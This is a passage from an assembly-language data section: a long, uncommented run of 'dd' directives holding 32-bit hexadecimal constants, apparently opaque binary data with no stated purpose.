273631BBh, 48F4A0F7h, 62D928F5h, 747A04B0h dd 398B11h, 0EAD6CFBFh, 957746h, 8E6EE1DEh, 76C9413Dh dd 3A660800h, 1142404Dh, 65AD0079h, 9A8C5A05h, 460006DBh dd 0B11A4AA0h, 8E628D8h, 53AFBBDCh, 38811204h, 0DDE9BF40h dd 630068A2h, 0E3B1F1B3h, 0B026FE3Bh, 17160095h, 7B2B4BA9h dd 9F00DB77h, 0C7250CF2h, 13115ECFh, 13BBA07h, 576DDF0h dd 887C240Ah, 2295301h, 2EB1F664h, 90D1B874h, 50EB00E4h dd 87BE8CCCh, 0F3382A66h, 4C4C17h, 0CA896FABh, 1DCF927Ch dd 5EC6D059h, 0C068DEBAh, 9F7F1B06h, 0E348916Eh, 7D545858h dd 5C00E490h, 0BE2A0124h, 3C872584h, 381F1F32h, 0E8AED3h dd 88A7167Ah, 0D8B28F2Eh, 11B1BB00h, 544485F7h, 0E77A006Bh dd 0B0F5CFB8h, 0B509F462h, 0E197D6CEh, 30094004h, 8A00F970h dd 6B37CA01h, 1F47C12h, 9869403Bh, 7063CF56h, 5D0C1DF8h dd 11E501FEh, 50E71C83h, 3DD4809Eh, 3A4A9878h, 0F395F4A0h dd 60975C96h, 0A16A6700h, 8F2B30h, 2214CD3Ah, 0F7D25819h dd 45A3CDA0h, 0B009784Fh, 873B0283h, 318440E8h, 0DC293330h dd 0EDC84E28h, 8F0706B9h, 16E1AA5Dh, 87BF0A30h, 759FA8Eh dd 366DFD33h, 42E600BBh, 0C7006577h, 0EB14DCC6h, 47A4E52h dd 21766E35h, 2E18E08Bh, 0D33C1DF6h, 0A3EB8039h, 0C716A4C8h dd 176DB886h, 40CFB5F1h, 6723EEF4h, 0C507B164h, 0A686BF41h dd 0C1E71E11h, 1D203D8h, 0E6D1E3BAh, 64F87C09h, 4E0327F0h dd 0AFB99037h, 88A48096h, 0D659058Ch, 8087311Eh, 23B41D50h dd 0E6FC3E01h, 884C2DD1h, 36012DCh, 99665330h, 0A8C03603h dd 0B848F84Bh, 0ECD90E48h, 4E23C01Eh, 353A2Ah, 0C9606C71h dd 0E4E64BBFh, 0B9287C63h, 0C28A85Eh, 48FC045Ah, 84D8D347h dd 0A820D062h, 0B4E22607h, 6044DE00h, 0FB1C6313h, 0D09EE3h dd 55C45DBAh, 58B08971h, 0DFCC6C13h, 0F7574404h, 4E47E4D0h dd 0C7B00021h, 0F19F9BECh, 4B1C55E6h, 0B64930E1h, 35180145h dd 7DDC5E85h, 64B451h, 3A12EBFDh, 0E448E013h, 1C350080h dd 10A4385Dh, 8644139Ch, 0F338C05Ah, 0BA5984h, 92B53001h dd 71EE5C0h, 0E3553880h, 79A57682h, 0C0D51A3Dh, 0A190D2h dd 0BAC68706h, 781130E0h, 8A753AE4h, 82D0550Bh, 0E931005Fh dd 48D70AA2h, 9307604Fh, 97F6E288h, 95D9E061h, 3A0E99CAh dd 0E082AA75h, 7B58F72Ah, 88520076h, 74C62478h, 34008E48h dd 1642354h, 0F6B39D36h, 0FC3FF631h, 3E54984Bh, 96C09FEEh dd 0A82E7803h, 871CB1D3h, 0D23AA550h, 9CAB0037h, 6BB07C19h dd 99E65D71h, 0FCBB6804h, 2F80C597h, 151C332h, 0FB40A26Eh dd 219A0163h, 26143099h, 0C40B2824h, 38670E16h, 0A364F861h dd 260820h, 0C1212489h, 7D04DF9Dh, 8C0F6C13h, 0DA562C01h dd 4432E2F7h, 9D8DBA07h, 4F3B10C3h, 0BF0755C9h, 0F078172Eh dd 1DF82049h, 1DA51AC4h, 5C600Bh, 993DC053h, 939B794h dd 0A34C7Ah, 7DC39E02h, 0E86C52FEh, 0EC70C068h, 0D1909A20h dd 0F1425900h, 0EB8CBF0Dh, 7DF4E46Fh, 57E6095Ch, 0B881EE99h dd 65857D73h, 321B40C4h, 0EB0097D9h, 64932290h, 0A82161h dd 1D75ACB3h, 0DF6732D0h, 0A16BAB04h, 6CC044D2h, 0E44BEC25h dd 763700F6h, 9C0AF7E0h, 0D00FCF2h, 0D1B47E67h, 3BEC8Eh dd 0F1DB855Eh, 0E8E3D272h, 69008C9Ah, 42B415E4h, 1A37E3Ah dd 1786D9F2h, 0C041DFA8h, 0C1036B55h, 0A0EEE5C3h, 477FA8E0h dd 0CF8D02F0h, 2552F313h, 7A458F60h, 16D19602h, 0E0504973h dd 13E53BCh, 378C26C6h, 0C82C0415h, 9A2873B1h, 3A0280F6h dd 0EEFD589h, 1C08D16Eh, 0F563C02Ah, 540C2B8Fh, 0FE431005h dd 980AB92h, 9B0BE8h, 0F4A1C537h, 0C04620DEh, 55733000h dd 743A3667h, 0E9F70047h, 0B598F02Fh, 104AB0DEh, 1DC0F001h dd 728396B8h, 821A1430h, 62C313F8h, 0A671A101h, 15E3742Fh dd 0D542FCh, 0FDE98F94h, 0FF8E8995h, 570E9C00h, 0DFAAD33Fh dd 1F3B00EDh, 224FB4E5h, 0C272D715h, 74412F5Ah, 932B5DB6h dd 0A86FA6F0h, 0F87E23B8h, 86321798h, 0D9BB00E6h, 2DD9B67h dd 92094201h, 0E496B922h, 9FA8B850h, 6AFF0F31h, 0DE3A55h dd 0D69277D2h, 1903716Eh, 7B685A70h, 301180D0h, 0D3D82412h dd 0E2C10B64h, 49981000h, 7000E40Ah, 5EE36351h, 54DF43h dd 0E7E29E68h, 0ECD2911Dh, 0C32D9F00h, 6492F931h, 10936051h dd 0F60C53D7h, 0CD00D5F0h, 20097626h, 266C5743h, 16C67FEh dd 8FB74CF1h, 0CBBFF8E1h, 83329D00h, 9E6C4ECDh, 0C0587D49h dd 8A7DAA90h, 994C05BAh, 0EC6B080h, 0A0ECA029h, 0BD931CCBh dd 623B4004h, 3199C3D2h, 0F2F9FC09h, 50FCC0FDh, 262F2856h dd 7AF600F8h, 90BB92F0h, 0CDE6B291h, 38135400h, 9F352706h dd 4253163Dh, 0A2450CF5h, 0AE07B440h, 7949820Ch, 3CBF030Bh dd 0F8718101h, 588004DDh, 4AB9A08Bh, 2F1DB8DFh, 0F6C0F34Fh dd 3DA83293h, 0E8373DD4h, 39C16700h, 5BA45451h, 9000F098h dd 0B297EE26h, 26F4960h, 0CF29E18Ah, 0AC697669h, 6818ECBEh dd 380023EEh, 1B947312h, 7E5070h, 0D9B3D172h, 788CC452h dd 0E4454E0Ah, 0F5268434h, 0D471D717h, 5CC89833h, 271200CDh dd 0F775B74Fh, 0F487056h, 4CA62474h, 2D609700h, 7AFCFBB5h dd 0B347F4Ch, 38E55340h, 0B119ECC0h, 8248D00h, 0B7490C20h dd 582D1643h, 0EBDCD8F3h, 5AFF8200h, 5011E881h, 0F6E00B40h dd 7C205758h, 0FA1CED2Ah, 7B78DCE0h, 76859801h, 91C3C56Ah dd 3703C878h, 0B7BC1E8Bh, 81B8C1D5h, 988112Dh, 0FC05F878h dd 0B020E9C6h, 0CD09AFFCh, 275D9066h, 4690CA1Ch, 0B0D0E3E4h dd 283D01C0h, 7D0E492Eh, 110AE8C6h, 2D8174Ch, 3F26B588h dd 2F28505Ch, 0FC80A8E3h, 5BD36B4Ch, 3AC72800h, 38AE82ECh dd 0AF473AEDh, 0B5A19F8Fh, 8892CB60h, 5A73E501h, 0B9008D75h dd 3FEFF92Fh, 3A61661Ch, 0C0833140h, 2C654535h, 0D23B58D0h dd 1A03E8F6h, 8C362884h, 0B977F882h, 8323008Bh, 972BF355h dd 0EC900B52h, 0F70E5AE0h, 2480CE45h, 0F0B09A72h, 0A74B002Fh dd 0B0C61C27h, 200FC83h, 0ED7B9A5h, 3D0AB76Fh, 0F61DC9E1h dd 28BF80E0h, 129BD3EBh, 0C8597800h, 36114383h, 0D621052Dh dd 807FB60Dh, 402FF3F2h, 5DE24D0Ah, 721F88EDh, 46C7FD00h dd 1D62C235h, 40A216A6h, 0E71EED81h, 7E00D3E6h, 69C59B48h dd 3D270CA3h, 3F800350h, 0E74CFAADh, 1B075E88h, 0BFEDCC7Ah dd 0A4803624h, 9807A2FFh, 716C0FC8h, 0ACE246E1h, 48C81C87h dd 0F0BFDDB4h, 0F466E544h, 3718D505h, 1CF800DBh, 0BC5286Dh dd 5909F3E0h, 612F07FCh, 0E07D4F00h, 3866700h, 2873843Eh dd 68984D01h, 697062B1h, 4B8BD8h, 5D354F82h, 386CE84Ah dd 92C39100h, 2DC81E1Ah dd 69F30020h, 0C04E98C6h, 0F800B9EEh, 0F9DBC7AAh, 0A0EBF1C3h dd 18B8A3CCh, 81BA65DAh, 0D30064E5h, 444C891Fh, 4A1769Dh dd 4137A9D0h, 20FCC773h, 847E705h, 0A5FF3912h, 393F38B0h dd 2182739Fh, 8A82C474h, 0D2008070h, 85292D96h, 0F0BD6Eh dd 6A41B85Ch, 0DC40BB54h, 0B2006098h, 7B5F258h, 0E891E62Ah dd 23E40004h, 0B8DB4C5h, 0B33F0D31h, 1CCCCBh, 0FE978149h dd 793344h, 42C7AB96h, 0D0AA7374h, 0BAA6153Eh, 7BF287B1h dd 4846EAB5h, 289200B8h, 8E1346CFh, 23009D5Fh, 88D149C1h dd 1F1871Fh, 0CDFA6B45h, 0E5CE069Ch, 8BB0D064h, 22B70A00h dd 0FBBE71C7h, 8C7A25h, 462BF92Ch, 4CA28589h, 9F49E500h dd 0AF707A28h, 74F76D5h, 5327A966h, 0B33A0563h, 86ACB800h dd 5CB3C488h, 91742216h, 10908C85h, 0B23CEF2Dh, 194426E4h dd 4396BB44h, 9E2C1D3Bh, 36CE40C1h, 0DFA93D79h, 9516D300h dd 8E4D8633h, 59B900A2h, 2F8F6470h, 0A5090E19h, 80A149BBh dd 98F3B429h, 2890029h, 0B390BF40h, 7527826Eh, 0BDC805E6h dd 45E088h, 0C3C015C7h, 0E0DA2C66h, 3D36C905h, 60F0046Bh dd 6F9F1FACh, 0B17AC0BDh, 0EB24ABC4h, 0A8092800h, 1AFD15FEh dd 2DE500F5h, 58C4477Eh, 0BE00BFA2h, 9D4B8722h, 0F5C3A6h dd 4329BC15h, 2737C4EAh, 376C898h, 785F5E15h, 58B70080h dd 3A040AE8h, 24BF26D0h, 6C6F00ACh, 30B35147h, 123CA400h dd 9F2BF292h, 384F6Eh, 0D9CB7E20h, 33306801h, 26E2885Fh dd 0B7D20183h, 5E99794Ah, 611064E3h, 0EE001176h, 0F82F548Fh dd 26305A93h, 2C76E598h, 33298870h, 8548A680h, 0B28343h dd 70EB7477h, 1D96FB25h, 0CDE1CE00h, 0DF7F937h, 0F16A02BFh dd 25F58F9Ah, 7C5854C4h, 41FC0014h, 1FDD047h, 0F73B03BEh dd 5D6FEF18h, 0E12E1598h, 0B8C007B8h, 9FAAFBB0h, 0B5340EDBh dd 53AE2Bh, 0D5E69D88h, 77307E8Ch, 46F4C8B4h, 7CF502DEh dd 0CBE035DCh, 5500EC7Ah, 60805C48h, 48A685F0h, 4900B861h dd 749B7FF8h, 9F00DB71h, 0CAD67877h, 1FDD1294h, 40954CA1h dd 27468ECh, 2C94F979h, 56835E00h, 701E5192h, 0F8D80023h dd 759AC6E8h, 0C0A00B60h, 72009C0Ah, 53FDE414h, 941DB5Fh dd 0B2358762h, 0A000AC70h, 7B91197Ch, 0EF8C99Dh, 0ACC79EC5h dd 0F5B3E660h, 0DB5C263Bh, 0B8B43F37h, 519B00FDh, 2F2E49F6h dd 2A3F7A14h, 0D0A5F1h, 0BF058BAAh, 1A649DFEh, 240DE4Ch dd 0A59339FAh, 8400E058h, 4B320060h, 4F24BB81h, 8B001B18h dd 64F1F5A7h, 1565702h, 0A59CE0B3h, 60010654h, 48116728h dd 0D884F3FFh, 0D4088D02h, 74F40AB1h, 6AF3140Ch, 0B7CE075h dd 0BC7B4D4Ah, 43AEDC07h, 0AC25B72h, 893D0040h, 78744517h dd 3C6E00FBh, 976119C8h, 0EDF7C202h, 0A0E9D99Dh, 1781E6E4h dd 0B4A1EE22h, 30B86010h, 2E003811h, 0EB45DEF2h, 54CC9A9Fh dd 6D1D43Fh, 0F1AA7470h, 0DB0010A0h, 0FD4EED0Fh, 7A6679A7h dd 0C35712F7h, 0A5C20055h, 76589619h, 841CD10Bh, 0BAB081F1h dd 0AF609B3Fh, 0D8C269C3h, 57C04082h, 7D9E5056h, 3B4071DDh dd 0BEC159CDh, 0D3470064h, 0E90990B2h, 8700F137h, 0D4E5E94h dd 4C0CBD34h, 8200DC5Ch, 1379AADFh, 9B0FF83Ah, 0E08808E4h dd 0EA8E53D7h, 0D6B00435h, 0C3BACBC7h, 0A0E43EB9h, 44001720h dd 2C9E7110h, 794533h, 0DAA51663h, 0BEE03F41h, 0E9D7B21Eh dd 56D3A900h, 0A09D98h, 8F507235h, 60DDD86Eh, 0ADB7793Dh dd 403C8B2Ch, 27DBAA88h, 0C40B3B1h, 9E000B1Bh, 7E67F86Ch dd 1DD64CAh, 81136B51h, 60E34F9Fh, 0D4000E9Bh, 922D04AFh dd 25D9B067h, 9C2FC7B9h, 0A3260500h, 70139F4h, 6CD6DE3Fh dd 4C60833Dh, 6F54002Ch, 90A48030h, 30024CAh, 0E570A916h dd 1C9555D4h, 432893B4h, 2D3BA20Bh, 0E73A317Ah, 125C0AFBh dd 0A500CC0Ah, 7F466BAAh, 2B876A8h, 0FDF5E79Eh, 4C706A6Fh dd 0C0283160h, 733F1Dh, 0DF1F5055h, 0CAB43B9Fh, 74C4248h dd 2093FD6Fh, 5CAC9180h, 0ED21673h, 54E20FA7h, 85B87DA2h dd 12CB1CE0h, 0B9904003h, 0E0F3D606h, 44E80h, 772D7567h dd 1892D3EFh, 3600E9F4h, 78595EDh, 2249C4h, 6128DF69h dd 0B2D49D91h, 0FCC06C4Ah, 0D9A8C3h, 234CAFCDh, 3D61C881h dd 3E0017F4h, 65DD531Eh, 0E0391B9Bh, 16F0BFh, 1A4D633Bh dd 0E36F7DD8h, 4C5BF90Fh, 0B501938Bh, 0D60CE149h, 9E3057C1h dd 0E930014h, 87085298h, 8278B18Eh, 3825AE00h, 1811C9FEh dd 4A240077h, 72F02B33h, 93E056C3h, 48F2B8B0h, 3601CE7Dh dd 2D245962h, 0CCD83E2Eh, 74C1005Ah, 5CA8E8CFh, 9A0345DFh dd 2D5329B2h, 94F6F0A7h, 0F8B1E71h, 2E1E83C2h, 61E7C86Bh dd 6D9C6082h, 28A60008h, 31D0F1A8h, 7F9F1E09h, 5F4F8072h dd 505AB8A0h, 0FBF44000h, 0EB8A7136h, 0E00803E6h, 3EF0A36Fh dd 30F20800h, 8F0338E9h, 0D5652848h, 3698DBh, 63333C27h dd 3D3971C2h, 0FBD10500h, 0E25CA9EDh, 0AB11002Fh, 87F0A472h dd 4CF07F3Fh, 1BA0300h, 0C1FFCFA1h, 64B603F7h, 0A577B726h dd 79C8C0CCh, 0AA002D27h, 0AF2F2C73h, 0F096AC9Fh, 0FC78C0E1h dd 3DFB04D6h, 0C2CB5A00h, 450A9AADh, 5F610068h, 5654C0A6h dd 3B48378Ch, 0C75317ECh, 0FD1002Ch, 40A5F367h, 0ECA253h dd 18D5BBA3h, 0DBB56Dh, 0D080681Ah, 2D836903h, 8A6A1100h dd 86BC25C6h, 739F09Ah, 39B9987h, 0B3B96256h, 0B0405762h dd 2659937Eh, 0FC500024h, 8C495D67h, 0ECB43D40h, 0B00FAE3Eh dd 0E903C83Ah, 1020ACA5h, 186C7792h, 20B2DD36h, 0EB60618Bh dd 577C3548h, 74411CD8h, 94120498h, 77E8C08Ah, 0BF0125A8h dd 59B1D52Dh, 27706A8Bh, 9A4A61h, 635AAD44h, 0D001D4EBh dd 30580341h, 5C580447h, 119422Eh, 0E8C9C2A6h, 0D530FC90h dd 71D8EAAEh, 5F2601B3h, 0A8EFAFF5h, 24ED018h, 0CD8C8B00h dd 8E19A01Ah, 82960037h, 10554994h, 830E9FD5h, 348C03h dd 1FD86405h, 0ACC8007Fh, 0A02DC6F2h, 0B80170BCh, 0D4712581h dd 0F9ECB703h, 0E2940276h, 0B5D39599h, 0ADE4860h, 0A4A62101h dd 0A3FCCDF2h, 2708C0CCh, 0BDDED56Bh, 0B8367300h, 288F3Ch dd 0C40F9657h, 0D6A08358h, 0EFFB96C0h, 0E75240h, 0EEEC4637h dd 0C1503F29h, 75F19700h, 3464B812h, 27223973h, 0F3C4E500h dd 295F8A10h, 0E24B5E01h, 0E949AB86h, 0B03B5CE0h, 3824E32Ch dd 0E28100D7h, 0A334B114h, 7500C399h, 4CA08D08h, 0E66A2C1Ah dd 50354806h, 0F201C781h, 0E2E06E43h, 443C0050h, 3DFC6B9h dd 63037DE5h, 0D29A6F0Bh, 3C301509h, 9F07D049h, 5F8921F0h dd 0D69BAFC0h, 0EA24FA48h, 660185B0h, 0CF9526FCh, 1E2D51F0h dd 1CA1CA1Ch, 12690076h, 67235005h, 0B8928B2Ch, 0CDF01000h dd 48DD722Fh, 0A50F7769h, 90649455h, 5D14E031h, 45805700h dd 9ECED244h, 819C0062h, 9D7D6D5Ch, 38D22675h, 2F0C9700h dd 0B874B7B9h, 0FC55F28Dh, 2D1800B3h, 0BE156416h, 0F25A9097h dd 0F36F6090h, 31F79F9h, 0AECE88BDh, 0F801067Fh, 8130DBD6h dd 3AE0F6BCh, 0F50B0965h, 5800DED4h, 17A784ADh, 685E1400h dd 393431C2h, 0B8DA01F5h, 0BC1367AEh, 6AC6DC03h, 0EF7E1801h dd 0BED598D8h, 67D4CEE5h, 0F0500024h, 13EB2084h, 0A6001D35h dd 4BC61E76h, 0A107B7h, 3BE3D5E7h, 64E17CA8h, 102C3E00h dd 1AC3E995h, 0ABA000DCh, 4578F560h, 0CF076B58h, 5E833BBBh dd 0E74F00DBh, 25D07Fh dd 506203Fh, 8AC9664Ch, 0F7F68100h, 957F3432h, 0F23500CAh dd 5DE7D806h, 93070EF4h, 94271B76h, 46156520h, 0D86600A7h dd 87D3283Eh, 8100C48Fh, 96644C07h, 1F034DDh, 8BF0DA9h dd 0C157EBF2h, 0C4A17FA7h, 0C2FA05E1h, 0CA802E0Bh, 865704DDh dd 10C8CD7Ch, 64F43103h, 0EB0FCF70h, 0F8207506h, 910E009Eh dd 82CD617Ch, 0DC32DAD2h, 13B12956h, 452498BAh, 1462AF21h dd 2229A9C6h, 79429F75h, 21611811h, 89780819h, 5B943D90h dd 210D2964h, 28178A60h, 226E3642h, 0D0220761h, 21B52485h dd 4E2FA1Eh, 871A2155h, 0CB206912h, 183597h, 7B1D143Ch dd 0DDEBFA02h, 5585E200h, 2F3E5D87h, 6DF09Dh, 294B8C2Ah dd 8FA86A84h, 8B0085E6h, 0E421C769h, 51F3F0h, 3D8A6588h dd 26E2F1C3h, 97F84200h, 0A386A29h, 0F07200AFh, 0E7AA0F59h dd 6D009168h, 70CE524h, 70B53BE4h, 2160B59Dh, 0E307C59Ch dd 513E72D6h, 5FB6CBC0h, 0F65C1D60h, 76A880B2h, 964A70CDh dd 0A3008A7Fh, 0FD9D040Dh, 0F4244D4h, 4318B56Bh, 0FCC38B60h dd 85009EB8h, 0D8FEE974h, 79534CBEh, 57779BCh, 4FBA604Ah dd 0F59401D3h, 0FC8473D9h, 33015AF2h, 92EE6EA7h, 4ED1AC86h dd 9C6C1080h, 29023A68h, 0CC2B0104h, 3C809908h, 7BCAF1h dd 0E3EDBEB0h, 25138D26h, 0EC659703h, 0A89C73F5h, 7DB9E54h dd 45581D3Ch, 7859A015h, 5076257h, 8271B9ABh, 4D88FCF0h dd 5BE80Eh, 96256913h, 51246CACh, 6EDE5907h, 0A4A0A1C4h dd 0CA63A01h, 74A57CEBh, 2E60EF48h, 0C4980AD6h, 0A9E7022Ah dd 35F02F89h, 0ACD055C0h, 0C7CF4C03h, 91FA59A6h, 9440CB2Bh dd 5C6B3Dh, 4BDA2847h, 412162CCh, 362A8400h, 0F35DA1F4h dd 929C00E6h, 0C15BFB5Ah, 5007BEACh, 0FED4D365h, 1C2CB4C0h dd 0CB050032h, 53CF73DCh, 540FE2BAh, 24E11Ah, 1CFF25F1h dd 0CA4800D7h, 2A69B686h, 850091E2h, 0AA71BA9Fh, 0B8ECDA2Bh dd 16C2C042h, 33A1E383h, 8455DD0Fh, 0CF374054h, 4F14E7h dd 0AD623015h, 49E36AB5h, 0D20FB17Ch, 40E6B381h, 13069760h dd 4C771D3Fh, 7D8EC08Ch, 785B71FBh, 8565D00h, 431CDAFDh dd 6A62002Fh, 8D39F054h, 1B2D348Bh, 56D03Ch, 67707495h dd 0DD7BE9BFh, 0A12E577Dh, 7200F3D5h, 0A3E703A9h, 383D90FCh dd 328019D9h, 71CDBD6Eh, 55509FF9h, 4703EA80h, 4948EBB2h dd 0A4700F0Bh, 0A00FD16h, 0CC1B60F8h, 86F648h, 9E4EF92Ah dd 3BF8858h, 5644AABBh, 8CA8C3F7h, 0B6008A98h, 0EC37361Ah dd 18A15Ch, 2FB89BCAh, 86BD4F3Bh, 1ED9F030h, 0C084B642h dd 0CF1B1D98h, 0FC065407h, 774080A2h, 855D0018h, 0D7E1B28Fh dd 0C9015968h, 1248DB1Bh, 0D6ECAACFh, 6CF103BDh, 5A16C397h dd 0F16E1989h, 1D8E60B0h, 0C58AF500h, 70EC4F43h, 98A90A25h dd 0BF8644h, 0AF4C060Dh, 0F00FBFCh, 52AED5C7h, 0F25599h dd 0D61F6F61h, 0EAFEFA82h, 0DE5ADD00h, 0BF0FDBCAh, 0F0E01E76h dd 0CFD31CA0h, 896374BBh, 0DFC8529Bh, 4F0E3405h, 401D69C9h dd 71A159FDh, 0B5E0B7h, 0F7DF5804h, 0D7126E62h, 8008B13Fh dd 6953F9D1h, 1B20C5h, 856B271Ch, 6D1E29CAh, 60F7E701h dd 67FC8070h, 0DE28F8h, 0D9D307B9h, 0EA8E0A8Ah, 8B88C701h dd 4C7C0357h, 99D06680h, 5AE7D538h, 0A3836600h, 6525571Eh dd 0C0F152B9h, 21F90600h, 39D54F0Eh, 4400AB72h, 872650AAh dd 0EE2471h, 75AC66E9h, 70B568A5h, 0D006EECh, 0FD196258h dd 3C9E3053h, 3798FE12h, 9648180Ch, 30AAD630h, 7E8F313h dd 2817CC1h, 5CB62001h, 35009257h, 965F1B24h, 4430419h dd 0C68BAF31h, 1C0BEF7h, 0A901D3h, 0ED65725Eh, 0E9A6738Fh dd 52FAC112h, 0A76C5800h, 3C47C28Ah, 0EE07AF75h, 0F0030F5Eh dd 0E75D2939h, 42091200h, 81451153h, 1C6D00E5h, 0F93BCBA9h dd 2D00256Bh, 90A0ECDCh, 2418BC68h, 7D81777h, 60040C85h dd 23B0FAD0h, 48CA8400h, 2CAEB42Dh, 0EA010162h, 63B95538h dd 85173076h, 2FAA5200h, 0CBA480D8h, 316B0021h, 2696B698h dd 0E0009B86h, 14BCD2BEh, 2F7607Ch, 0A9DACF33h, 0C0484EB2h dd 5C3B941Eh, 5D768072h, 0F35AE677h, 1DDD3CF0h, 0BD510200h dd 4144A147h, 0FC00E971h, 969CE763h, 7CA27E4Fh, 50523A69h dd 34C50E00h, 5A47E51Eh, 75B2D102h, 0A09268A6h, 84512780h dd 0B6F512E7h, 9780753h, 0BDC15014h, 0BA0095C7h, 68435A42h dd 90C27737h, 0B24905Ch, 0CB2C7F48h, 2B499780h, 880196D5h dd 0C0F9DCC6h, 0FAD83312h, 0E667FF1h, 4A5F5559h, 9219BA66h dd 6002CA00h, 0B68BF238h, 0BE7600C6h, 97B07263h, 3EE4BD50h dd 0C2C92600h, 6E42380Ch, 9986000Ah, 714644E1h, 0C1B5F54Fh dd 0E9E8564Bh, 0D967003Ah, 0E2B9CE04h, 0E0B76FA5h, 1D3F72F5h dd 5F439A6Dh, 0F51C81B4h, 0E81B0EBCh, 0DA28D5B5h, 8C24B85Fh dd 148014C7h, 0FE9240CFh, 7291002Eh, 7BDC9D9h, 0A201A9B2h dd 0E1E4F173h, 48808D0Dh, 0CB99DB6Bh, 0B6904E45h, 8AFAC02h dd 48D83B1Fh, 0E62DA520h, 0D48509E3h, 4003995h, 3D24E563h dd 91964C00h, 3C3E6884h, 0FCC548A6h, 0ADD32700h, 4F025829h dd 8D4B38h, 1C84443Ah, 35AE8h, 0C24CE44Eh, 0A2F578AEh dd 0DC18470Fh, 0D4C4C341h, 0B783E893h, 1E6F1F66h, 981C002h dd 0D0773ACDh, 0A714C500h, 0E2B6A1F8h, 0B211034Bh, 0A09AD8Ch dd 48C18B9Ah, 22C3C4A3h, 370080E2h, 4B01A79Fh, 1D9AE124h dd 80EC21B6h, 0FFABFB82h, 0CB0EDDEDh, 40B34D5Fh, 59AA340h dd 4B4E38A9h, 7393C12h, 0F0159CC6h, 0AEF8767Dh, 0D7DB9F00h dd 544ADD0Fh, 0D81E6003h, 9B60C987h, 68089300h, 1CA9C6EEh dd 6E6300D9h, 11889523h, 653BB880h, 32A60E0Ah, 481E2083h dd 0F24D7h, 0B92F8B42h, 3FC7E047h, 9E81FC06h, 0B825E9h dd 577AAC4Dh, 5537E358h, 0CB6709Fh, 79B592D1h, 3100DB80h dd 9DAE3F91h, 1012F0h, 8C7F0BC5h, 338B0FBEh, 80C3EF24h dd 9E26AE00h, 0FD6211h, 13556E23h, 6195E770h, 96FB8701h dd 508F60DEh, 5992A820h, 0E23E14C1h, 3D8B9D81h, 606B7E7Ah dd 16006083h, 693FBC43h, 726EC070h, 3C292E14h, 0D41FB940h dd 0BCFA80AFh, 40EC9DCFh, 88C18930h, 597F7864h, 0F48008F8h dd 98383483h, 0D50A7A00h, 7B5A5C75h, 0EDD90028h, 81FE6456h dd 26505DF5h, 9124AC8Ch, 4C804C65h, 176ED48h, 0FC20EB0Fh dd 6CE2008Dh, 0C60DA9B4h, 1400E510h, 64C2ED3h, 606EAD3Bh dd 0DABA2847h, 4F608D5Bh, 73FAD511h, 0E36900CBh, 0FEE2C5FFh dd 7A0A14A2h, 0DFDE916Dh, 85194500h, 508C69h, 3880AB04h dd 0EAA32073h, 0CC5D9F24h, 0BD835800h, 0F143CEh, 0BAAAEC92h dd 0A57E0C73h, 0E32E5E01h, 7F4E3D0Eh, 0E1F8AF61h, 7C100059h dd 0F76D2AB7h, 0D0021921h, 0CBECF898h, 1237412Bh, 0E271CC20h dd 0EEC9911h, 1FA0ECD6h, 317601BAh, 6BA96A00h, 33575DA8h dd 697F00D9h, 79A64751h, 8F7C2648h, 0F93D0F00h, 9AEA052Fh dd 99191555h, 7148B813h, 6F834C03h, 70004AD6h, 11EF3C69h dd 9774EEAh, 409B393Dh, 366F9F82h, 0FB9998C1h, 0E443D4AAh dd 7CB8C7F3h, 790F8DB2h, 60AD8412h, 0FFC92276h, 574A00AFh dd 8F9D52BAh, 4B1C09C1h, 9500434Dh, 5D0DF15Eh, 7E8D0029h dd 88AE5DFh, 0C916BC84h, 30039145h, 0AF1DA828h, 69F94D80h dd 0DA2F0060h, 0BDBA8249h, 7300A4F5h, 6280CC8Bh, 0FAAF98Fh dd 0C8D8F0FEh, 0EBB34E40h dd 9E48B13Fh, 8F6402F4h, 8050C571h, 14D706FCh, 62BD00DAh dd 0BAA1F21Eh, 0A400CA7Dh, 2B317A50h, 638779h, 695A7DCh dd 0C80EE75Eh, 32E7C98h, 13D50E1h, 7AB1602Bh, 8865C67Dh dd 5008E3D4h, 424FB4EBh, 2338809Fh, 0EB8B1Ch, 0DDC4AD5Dh dd 0A434684Bh, 0B1E41900h, 0CCB57DD3h, 8914005Ch, 6A6B7B18h dd 2A00DABBh, 53C3F6AAh, 1F622EC6h, 8017FA20h, 0D9E06339h dd 0E900BB4Fh, 4BBDF309h, 1C6D803Ch, 9075A55h, 0F8079418h dd 971531CFh, 0F9CA004Eh, 0EEB80337h, 0C3959D7Ah, 0A37682F0h dd 57D73300h, 37C45B0Eh, 0A80B03A1h, 51060C66h, 1D4090F5h dd 910047CCh, 567B4F2h, 48B13971h, 9C09F8BBh, 64807780h dd 48E54255h, 94ED8103h, 0E886B210h, 9014EB8Dh, 0FE960278h dd 1B7E1784h, 31C21860h, 0BD41AD00h, 0FBB6B99Ch, 165F07BEh dd 40369E8Dh, 18C37EB7h, 818A8F3Fh, 0D8CCD7E6h, 0A6700168h dd 594B0002h, 0FCF52B53h, 650051C4h, 0C6823A64h, 79FB697h dd 4FDF735Fh, 0FE29B363h, 35757FA8h, 7AA2E70Ah, 0A440E430h dd 88E8ECE3h, 700B9D8h, 0CCB2F3EAh, 0C3ED1Eh, 5DABD766h dd 162E20DDh, 6719AC00h, 0C4616FD3h, 8B741245h, 7AA08324h dd 593E83C0h, 0F6B83002h, 0E36A5E44h, 0DA84C0C4h, 0FC1050A3h dd 0AAD000D1h, 57871EEh, 2A001FF9h, 2EA3CBE6h, 3C8CD5h dd 19C13641h, 24B9C54Fh, 0C2048BE4h, 0F39E5C7Ch, 0CE52A887h dd 80F36231h, 0E6A04BA8h, 0ECC74165h, 7C00C6E0h, 5214A58Ch dd 818748h, 0E7326B31h, 0B3CBEF1Ch, 3A68F400h, 22F221B8h dd 10010098h, 32DB7604h, 0C6005856h, 0B70D4152h, 8042F2FEh dd 3C00803Eh, 0C239383Fh, 22B0F03h, 0D6B1764Fh, 0A4E24A19h dd 90664D84h, 0A4E34188h, 3609120Fh, 0E70BA0E4h, 1245C610h dd 44F534C0h, 405F70ACh, 1DE9B349h, 25F774CFh, 0A8002FA3h dd 6A90F49Ah, 70980CB2h, 2317EC00h, 0E2A6E078h, 77A80A33h dd 0B0D89Bh, 58CA7EC9h, 16F25080h, 41C8559h, 10EF2DF0h dd 748A80C0h, 94AB0091h, 0DCC63EC9h, 68039A27h, 2EB8CB36h dd 4ED380C5h, 0B95B072Ah, 80A586A1h, 0B528DEF9h, 6AEA1A0Fh dd 8342C07Bh, 9AC088Fh, 0E8537137h, 7E69C800h, 8B40F1F5h dd 201E08D6h, 52094CCFh, 36480006h, 765EDA22h, 